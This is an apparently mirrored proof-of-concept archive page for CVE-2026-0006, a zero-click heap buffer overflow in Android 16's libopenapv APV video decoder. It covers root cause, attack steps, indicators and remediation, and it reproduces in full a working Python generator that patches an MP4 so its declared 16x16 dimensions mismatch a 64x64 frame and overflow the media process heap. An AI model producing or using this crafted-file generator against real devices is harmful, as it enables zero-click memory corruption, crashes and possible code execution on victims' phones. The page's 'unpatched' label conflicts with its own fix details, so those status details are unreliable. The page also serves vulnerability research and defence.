PoC Archive PoC Archive
Critical CVE-2026-0006 unpatched

libopenapv / Android APV Codec Zero-Click Heap Buffer Overflow (CVE-2026-0006)

by Mobile Hacking Lab (independent patch analysis / reproduction); original discovery and disclosure credited to the unnamed reporting researchers per the repo's own attribution · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-0006
Category
binary
Affected product
libopenapv (Samsung APV — Advanced Professional Video — codec), integrated into Android 16 as a Mainline module (mediaswcodec / C2SoftApvDec)
Affected versions
libopenapv v0.1.11.1 through v0.1.13.0; Android 16 devices with security patch level before 2026-03-01 (e.g., Samsung Galaxy S26 Ultra and similar)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherMobile Hacking Lab (independent patch analysis / reproduction); original discovery and disclosure credited to the unnamed reporting researchers per the repo’s own attribution
CVE / AdvisoryCVE-2026-0006
Categorybinary
SeverityCritical
CVSS Score9.8 (as stated in source repository)
StatusPoC
Tagsandroid, libopenapv, apv-codec, heap-overflow, zero-click, media-framework, mediaswcodec, mainline-module
RelatedN/A

Affected Target

FieldValue
Software / Systemlibopenapv (Samsung APV — Advanced Professional Video — codec), integrated into Android 16 as a Mainline module (mediaswcodec / C2SoftApvDec)
Versions Affectedlibopenapv v0.1.11.1 through v0.1.13.0; Android 16 devices with security patch level before 2026-03-01 (e.g., Samsung Galaxy S26 Ultra and similar)
Language / PlatformPython (MP4 generator), C (ASan/native PoCs), Bash (ADB deployment); target platform ARM64 Android
Authentication RequiredNo
Network Access RequiredNo (local file/media processing; delivery of the crafted file is out of scope)

Summary

The APV decoder in libopenapv parses two different structures — an AU_INFO PBU (Payload Byte Unit) and the actual FRAME PBU — to determine frame dimensions, but oapvd_info() and oapvd_decode() read those dimensions from different sources without cross-validating them. A crafted APV bitstream can declare small dimensions (16x16) in the AU_INFO PBU that Android’s media framework uses to size its output buffers, while the real FRAME PBU header declares much larger dimensions (64x64), causing oapvd_decode() to write far more pixel data than was allocated — an overflow of roughly 14,848 bytes. Because Android’s media framework processes video files automatically to generate thumbnails/previews, simply having the crafted MP4 land on a vulnerable device (e.g., via Google Photos indexing) can trigger the overflow with zero user interaction. The repository provides a generator that builds this mismatched MP4 from a valid baseline, native ASan/OOB-write PoCs that reproduce the crash offline, and a deployment script that pushes the file to an Android device and captures the resulting SIGSEGV/ASan report.


Vulnerability Details

Root Cause

oapvd_info() (used for buffer sizing) and oapvd_decode() (used for actual pixel writes) each trust the frame dimensions declared in a different PBU of the same access unit, with no consistency check between the AU_INFO PBU and the FRAME PBU headers before allocation and decode.

Attack Vector

  1. Attacker starts from a valid 64x64 YUV422 10-bit APV bitstream (valid.apv) and a baseline MP4 container produced by ffmpeg.
  2. Attacker injects a crafted AU_INFO PBU (type 65) declaring 16x16 dimensions, while leaving the real FRAME PBU at 64x64, and patches the container’s apvC/apv1/tkhd boxes to also advertise 16x16.
  3. Attacker rebuilds the MP4’s mdat, stsz, and stco boxes so the container is well-formed and points at the crafted access unit.
  4. Victim’s Android device processes the file (e.g., media scan / thumbnail generation in Google Photos) using the vulnerable mediaswcodec/C2SoftApvDec component.
  5. The framework allocates a small (16x16) output buffer based on oapvd_info(), then oapvd_decode() decodes the actual 64x64 frame into it, overflowing the heap buffer and crashing the media process (or worse, corrupting adjacent heap state).

Impact

Zero-click heap memory corruption in a privileged Android system media process triggered by passive file/thumbnail processing, ranging from denial of service (crash) to potential remote code execution depending on heap layout and further exploitation.


Environment / Lab Setup

Target:   Android 16 (API 36) ARM64 device/emulator, security patch level before 2026-03-01,
          with the APV codec module present (/apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so)
Attacker: Python 3, adb, Android NDK r29+ (only needed to rebuild the native ASan PoC), ffmpeg (to regenerate the baseline MP4)

Proof of Concept

PoC Script

See generate_overflow_mp4.py, deploy_exploit_mp4.sh, poc_mp4_asan.c, poc_android_oob_write.c, valid.apv, and apv-mp4/ in this folder.

1
2
3
python3 generate_overflow_mp4.py

./deploy_exploit_mp4.sh

generate_overflow_mp4.py patches a baseline MP4 with the mismatched AU_INFO/FRAME dimensions described above. deploy_exploit_mp4.sh pushes the resulting file to a connected Android device, triggers a media scan and viewer intent, and polls logcat for the resulting SIGSEGV/ASan crash signature, retrying automatically if the crash doesn’t trigger immediately.


Detection & Indicators of Compromise

Signs of compromise:

  • mediaswcodec or Google Photos crashing shortly after a new video/MP4 file appears on-device
  • Tombstones or ASan logs referencing oapvd_decode, C2SoftApvDec, or the APV codec module
  • MP4 files whose container-level dimensions (apvC/apv1/tkhd) disagree with the dimensions encoded in the embedded APV bitstream’s FRAME PBU

Remediation

ActionDetail
Primary fixApply the Android March 2026 Security Bulletin update; upstream libopenapv fixes landed in commit fb6a5eab (bounds/signature checks), v0.1.13.1 (oapv_param.c dimension validation), and v0.2.0.0 (bounds-checked bitstream reader)
Interim mitigationRestrict automatic media scanning/thumbnailing of untrusted files where possible, and keep devices on the latest security patch level until upgraded

References


Notes

Mirrored from https://github.com/mobilehackinglab/CVE-2026-0006-openapv-poc on 2026-07-05.

generate_overflow_mp4.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python3
"""
CVE-2026-0006 Exploit MP4 Generator

Creates an MP4 that triggers a heap buffer overflow in Android's APV decoder
(C2SoftApvDec / libopenapv) on pre-March 2026 patch levels.

Attack: AU_INFO PBU declares 16x16 → oapvd_info reports 16x16 → small buffers.
        FRAME PBU header declares 64x64 → oapvd_decode writes 64x64 → overflow.

Prerequisites:
  1. valid.apv in the same directory (64x64 YUV422 10-bit APV bitstream)
  2. apv-mp4/valid_ffmpeg.mp4 baseline created by ffmpeg:
     ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4

Usage:
  python3 generate_overflow_mp4.py
"""

import os
import struct
import sys

script_dir = os.path.dirname(os.path.abspath(__file__))

apv_path = os.path.join(script_dir, 'valid.apv')
baseline_mp4 = os.path.join(script_dir, 'apv-mp4', 'valid_ffmpeg.mp4')
output_mp4 = os.path.join(script_dir, 'apv-mp4', 'overflow_auinfo.mp4')

if not os.path.exists(apv_path):
    print(f"Error: {apv_path} not found", file=sys.stderr)
    sys.exit(1)

if not os.path.exists(baseline_mp4):
    print(f"Error: {baseline_mp4} not found", file=sys.stderr)
    print(f"Create it first: ffmpeg -f apv -i valid.apv -c copy -y {baseline_mp4}", file=sys.stderr)
    sys.exit(1)

with open(apv_path, 'rb') as f:
    apv = f.read()

original_pbu_data = apv[4:]  # strip AU_SIZE (333 bytes of PBU)

# Build AU_INFO PBU (type 65) claiming 16x16
au_info_payload = b''
au_info_payload += struct.pack('>H', 1)       # num_frames = 1
au_info_payload += bytes([0x01])               # pbu_type = PRIMARY_FRAME
au_info_payload += struct.pack('>H', 1)        # group_id = 1
au_info_payload += bytes([0x00])               # reserved
au_info_payload += bytes([0x21])               # profile_idc
au_info_payload += bytes([0x7B])               # level_idc
au_info_payload += bytes([0x40])               # band_idc(3)=010 + reserved(5)
au_info_payload += bytes([0x00, 0x00, 0x10])  # frame_width = 16
au_info_payload += bytes([0x00, 0x00, 0x10])  # frame_height = 16
au_info_payload += bytes([0x22])               # chroma_format_idc=2 + bit_depth=2
au_info_payload += bytes([0x00])               # capture_time_distance
au_info_payload += bytes([0x00])               # reserved
au_info_payload += bytes([0x00])               # trailing reserved

pbu_header = bytes([65, 0x00, 0x00, 0x00])     # type=65(AU_INFO), group_id=0, reserved=0
pbu_size = len(pbu_header) + len(au_info_payload)
au_info_pbu = struct.pack('>I', pbu_size) + pbu_header + au_info_payload

all_pbu_data = au_info_pbu + original_pbu_data

au_payload_with_sig = b'aPv1' + all_pbu_data
new_au_size = len(au_payload_with_sig)
mdat_data = struct.pack('>I', new_au_size) + au_payload_with_sig

with open(baseline_mp4, 'rb') as f:
    mp4 = bytearray(f.read())

# Patch apvC dimensions to 16x16
apvc_off = mp4.index(b'apvC')
rec_base = apvc_off + 4
struct.pack_into('>I', mp4, rec_base + 12, 16)
struct.pack_into('>I', mp4, rec_base + 16, 16)
print("apvC patched to 16x16")

# Patch apv1 visual sample entry dimensions to 16x16
apv1_off = mp4.index(b'apv1')
vse_w_off = apv1_off + 4 + 6 + 2 + 16
struct.pack_into('>H', mp4, vse_w_off, 16)
struct.pack_into('>H', mp4, vse_w_off + 2, 16)
print("apv1 VSE patched to 16x16")

# Patch tkhd dimensions to 16x16
tkhd_off = mp4.index(b'tkhd')
tkhd_size = struct.unpack('>I', mp4[tkhd_off-4:tkhd_off])[0]
tkhd_end = tkhd_off - 4 + tkhd_size
struct.pack_into('>I', mp4, tkhd_end - 8, 16 << 16)
struct.pack_into('>I', mp4, tkhd_end - 4, 16 << 16)
print("tkhd patched to 16x16")

# Replace mdat with crafted payload
mdat_tag_off = mp4.index(b'mdat')
mdat_box_start = mdat_tag_off - 4
old_mdat_size = struct.unpack('>I', mp4[mdat_box_start:mdat_box_start+4])[0]

new_mdat_box = struct.pack('>I', 8 + len(mdat_data)) + b'mdat' + mdat_data
new_mp4 = bytearray(mp4[:mdat_box_start]) + new_mdat_box + mp4[mdat_box_start+old_mdat_size:]

# Update stsz sample size
stsz_off = new_mp4.index(b'stsz')
stsz_sample_size = struct.unpack('>I', new_mp4[stsz_off+8:stsz_off+12])[0]
if stsz_sample_size != 0:
    struct.pack_into('>I', new_mp4, stsz_off + 8, len(mdat_data))
else:
    struct.pack_into('>I', new_mp4, stsz_off + 16, len(mdat_data))
print(f"stsz updated: sample_size={len(mdat_data)}")

# Update stco chunk offset
stco_off = new_mp4.index(b'stco')
new_chunk_offset = mdat_box_start + 8
struct.pack_into('>I', new_mp4, stco_off + 12, new_chunk_offset)
print(f"stco updated: chunk_offset={new_chunk_offset}")

with open(output_mp4, 'wb') as f:
    f.write(new_mp4)

print(f"\nWritten {len(new_mp4)} bytes to {output_mp4}")
print(f"Container + AU_INFO: 16x16 | FRAME PBU: 64x64 | Overflow: ~14,848 bytes")